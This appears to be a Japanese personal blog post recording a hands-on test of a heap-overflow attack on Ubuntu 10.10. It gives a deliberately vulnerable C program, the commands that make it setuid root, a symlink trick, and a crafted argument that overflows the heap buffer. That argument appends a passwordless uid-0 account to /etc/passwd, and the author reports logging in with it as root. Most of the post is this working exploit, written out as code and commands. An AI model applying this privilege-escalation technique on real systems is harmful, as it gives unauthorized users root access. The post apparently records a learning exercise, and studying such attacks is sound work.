その時々

その時々で違うんです。特に決まっていないんです。

heapを利用した攻撃のテスト

Ubuntu10.10で試しています。

次のような脆弱性のあるプログラムがあるとします。

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
  FILE *fd;

  char *userinput = malloc(20);
  char *outputfile = malloc(20);

  strcpy(outputfile, "/tmp/notes");
  strcpy(userinput, argv[1]);

  fd = fopen(outputfile, "a");
  if (fd == NULL)
    {
      fprintf(stderr, "%s のオープンに失敗しました。\n", outputfile);
      exit(1);
    }
  fprintf(fd, "%s\n", userinput);
  fclose(fd);

  return 0;
}

rootオーナーでsuidを設定して、さらに危険にします。

$gcc -o heap heap.c
$sudo chown root.root heap
$sudo chmod u+s heap

引数に/bin/bashを指定するとヒープの40byteをオーバーしてしまうので、
少し細工します。

$mkdir /tmp/etc
$ln -s /bin/bash /tmp/etc/passwd

それで次のような引数を与えて実行します。

$heap myroot::0:0:m:/root:/tmp/etc/passwd

そうすると/etc/passwdにパスワードなしのユーザが作成されます。
ですが、Ubuntuですとsuできないのでこのmyrootというユーザを使用することが出来ません。

どうやって使えるのか模索していたところ
一度ログアウトして
ログイン画面からログインするときに、その他を選んでmyrootでログインしたらroot権限でログインすることが出来ました。